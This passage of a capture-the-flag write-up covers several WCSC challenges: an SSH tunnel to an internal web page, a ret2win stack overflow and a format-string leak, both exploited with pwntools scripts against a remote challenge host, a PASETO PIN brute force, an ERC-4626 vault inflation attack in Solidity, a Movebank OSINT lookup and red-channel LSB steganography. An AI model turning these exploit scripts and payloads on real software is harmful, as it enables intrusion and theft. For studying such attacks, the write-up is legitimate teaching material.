chan = t.open_channel("direct-tcpip", ("127.0.0.1", 80), ("127.0.0.1", 0))
chan.sendall(b"GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n")

The flag appears in the Secret note of the returned HTML (evidence/wcsc-curious/03_internal_root.txt): <strong>Secret:</strong> WCSC{UR_2_FuR1oU5}

4. Result

5. Root cause and remediation


9. [Pwn] Bookshelves — 250

One-line summary: place_book() reads 256 bytes into a 64-byte stack buffer; overwriting the return address at offset 72 with a ret gadget followed by restricted_section prints flag.txt (ret2win).

1. Problem summary

2. Analysis

void place_book(void) {
    char shelf[64];
    ...
    read(0, shelf, 256);   // 256 bytes into a 64-byte buffer

3. Steps

  1. Identify the vulnerability and the win function from the source.
  2. Payload: "A"*72 + p64(0x401016) + p64(0x4011f7)
  3. tools/wcsc-bookshelves/exploit.py (verified locally against a placeholder flag.txt, then run against the remote):
RESTRICTED = 0x4011f7
RET        = 0x401016  # stack-align gadget
payload = b"A"*72 + p64(RET) + p64(RESTRICTED)
p = remote("0.cloud.chals.io", 14466)   # local: process("./challenges/wcsc-bookshelves/bookshelves")
p.recvuntil(b"> ")
p.send(payload)
print(p.recvall(timeout=5).decode(errors="replace"))
python3 tools/wcsc-bookshelves/exploit.py --remote   # local: run with no arguments

Output (evidence/wcsc-bookshelves/01_remote_exploit.txt): Special collection unlocked: WCSC{c4n7_f17_0n_7h3_5h3lv35!}

4. Result

5. Root cause and remediation


10. [Pwn] Dewey Decimal — 375

One-line summary: The search term is passed to printf(buf) directly, giving a format string vulnerability; leaking the stack secret code with %17$lu and submitting it in the same connection yields flag.txt.

1. Problem summary

2. Analysis

3. Steps

  1. Send |%17$lu| as the search term; of the echoed values, take the number in the 100000–999999 range as the secret code.
  2. In the same connection, submit that number as the verification code.
p.recvuntil(b"> ")
p.sendline(b"|%17$lu|")
text = p.recvuntil(b"> ", timeout=5).decode(errors="replace")
nums = [int(x) for x in re.findall(r"\|(\d+)\|", text)]
code = next(n for n in nums if 100000 <= n <= 999999)
p.sendline(str(code).encode())
print(p.recvall(timeout=5).decode(errors="replace"))
python3 tools/wcsc-dewey/exploit.py --remote   # local: run with no arguments (placeholder flag)

Run log (evidence/wcsc-dewey/01_remote_exploit.txt): leaked longs: [840302], using code 840302, then Classification verified! Access granted to the restricted archives: WCSC{d3w3y_h45_4_5y573m}

(The code differs per connection, so the leak and the submission must happen within the same connection.)

4. Result

5. Root cause and remediation


11. [Crypto] Overrated — 500

One-line summary: The footer of a PASETO v4.local token pointed at a weak debug-PIN-derived key; using the authentication tag as an oracle, the PIN was brute forced (PIN 7252, key = sha256(PIN)) and the plaintext flag decrypted.

1. Problem summary

2. Analysis

3. Steps

  1. v4_local_decrypt(key, token) decides key correctness by tag match (returns the plaintext on a match, None otherwise):
t2 = hashlib.blake2b(pre, key=Ak, digest_size=32).digest()
if t2 != t: return None
return xchacha20(Ek, n2, c)
  1. tools/wcsc-overrated/brute.py tries 6 key-derivation schemes (sha256, blake2b, zero padding, repetition, md5, …) for each PIN from 0 to N:
python3 tools/wcsc-overrated/brute.py 1000000   # argument = PIN upper bound (default 1000000)

Result: PIN 7252, key = sha256("7252") (= 227ff6c6...; only the prefix is recorded in the notes). Plaintext: {"sub":"guest-user","role":"guest","flag":"WCSC{jwt_overrated}","note":"Only admins can read..."}

4. Result

5. Root cause and remediation


12. [Blockchain/Crypto] Sell Your Ethereum — 750

One-line summary: An ERC-4626 inflation (donation) attack on InflatableVault steals the victim's deposit through rounding; reproducing the test arithmetic in Python gave the final balance, from which the flag.zip password was derived and the flag decrypted.

1. Problem summary

2. Analysis

3. Steps

Attack code (challenges/wcsc-ethereum/exploit_snippet.sol, at the PLAYER CODE position for forge test -vv):

vm.startPrank(attacker);
token.approve(address(vault), type(uint256).max);
vault.deposit(1);                                  // 1 wei -> 1 share
token.transfer(address(vault), 50 * 10**18);       // donate to inflate the share price
vm.stopPrank();

Effect: totalAssets = 50e18+1, totalShares = 1. When the victim deposits 5000e18, shares = 5000e18*1/(50e18+1) = 99 (loss to rounding). The attacker redeeming 1 share recovers 1*(5050e18+1)/100 = 50.5e18. Final balance = 10000.5e18 - 1 = 10000499999999999999999 wei (> 10000e18).

Since forge was not installed, tools/wcsc-ethereum/solve.py reproduces the test arithmetic (simulate) and validates each candidate final balance's keccak256 password against the ZipCrypto check byte and CRC of flag.zip.

python3 tools/wcsc-ethereum/solve.py flag.zip   # path to flag.zip inside/next to sell_your_ethereum.zip

Password: 0x603313b890dd8cdb649ca52b728aad1bfb4deca5737a4decb969dfed34247e8f

Independent verification: unzip -P 0x603313b8...7e8f flag.zip extracted successfully (recorded in the notes; the output file was not saved under evidence/).

4. Result

5. Root cause and remediation


13. [OSINT] Luna's Nite Out — 1000

One-line summary: Reverse-geocoding the given coordinate located Konstanz, Germany; the Luna individual in the public Movebank study 1894170572 "Pet cat Germany MPIAB 2022" provided the position at 2021-12-19 06:16:33, rounded to four decimal places.

1. Problem summary

2. Analysis

3. Steps

  1. After logging in to Movebank, fetch the full study list (2,082 entries) via direct-read?entity_type=study and filter for taxon_ids containing Felis with main_location near Konstanz → study 1894170572 "Pet cat Germany MPIAB 2022" (Felis catus, PI Martin Wikelski, CC0, 2021-12-18 to 2022-06-18). (The exact commands used for login and listing were not recorded in the notes.)
  2. The study's first fix is at 2021-12-18 09:00:51, 20 seconds from the challenge's 09:01:11 → confirmed.
  3. After accepting the CC0 licence, download the CSV through the web UI (evidence/wcsc-luna/petcat2022.csv, 84,450 rows). Individuals: Luna_AT, Luna_allGPS, Luna_in_out.
  4. Anchor validation: 2021-12-18 09:01:11 → lat 47.68898, long 9.140407 (exactly the value given in the challenge).
  5. Target fix: 2021-12-19 06:16:33 → lat 47.688288, long 9.14061 (identical in Luna_in_out and Luna_allGPS). Rounded → 47.6883, 9.1406.
  6. For contrast, nearby fixes (evidence/wcsc-luna/02_answer.txt) in the 06:10:00–06:10:07 window sit around 47.68934, 9.14086, distinct from the target time.

Reproduction (outline): look up the row for the timestamp in the CSV. The column names were not recorded in the notes, so check the CSV header first.

grep -F "2021-12-19 06:16:33" evidence/wcsc-luna/petcat2022.csv | head

4. Result

5. Root cause and remediation


14. [Forensics/Stego] Leonne Stratvarius Bonnie (kitty) — 250

One-line summary: A base64 PNG (128x128 RGBA) embedded in kitty_cat_challenge.html with display:none carries the flag in the LSBs of its red channel, behind a length prefix (0x18).

1. Problem summary

2. Analysis

3. Steps

  1. Extract and decode the base64, saving it as a PNG (the exact commands were not recorded in the notes).
  2. Collect the red-channel LSB of each pixel in order, MSB-first, and pack into bytes. (The extraction script is not present under tools/; the result is in evidence/wcsc-kitty/01_lsb_extract.txt.) The sketch below reproduces the same operation:
from PIL import Image
im = Image.open("evidence/wcsc-kitty/texmap.png").convert("RGBA")   # example path (saved filename not recorded)
bits = [r & 1 for (r, g, b, a) in im.getdata()]
data = bytes(int("".join(map(str, bits[i:i+8])), 2) for i in range(0, len(bits) - 7, 8))
n = int.from_bytes(data[:4], "big")        # 0x18 = 24
print(data[4:4+n])
  1. Resulting stream: 00 00 00 18 (big-endian length 24) + WCSC{kitty_cat_meow_csc} + zero padding. "WCSC" appears at offset 4 (evidence/wcsc-kitty/01_lsb_extract.txt).
  2. The G/B/A channels and an RGB-interleaved reading produced meaningless data; the red channel alone is the correct extraction path.

4. Result

5. Root cause and remediation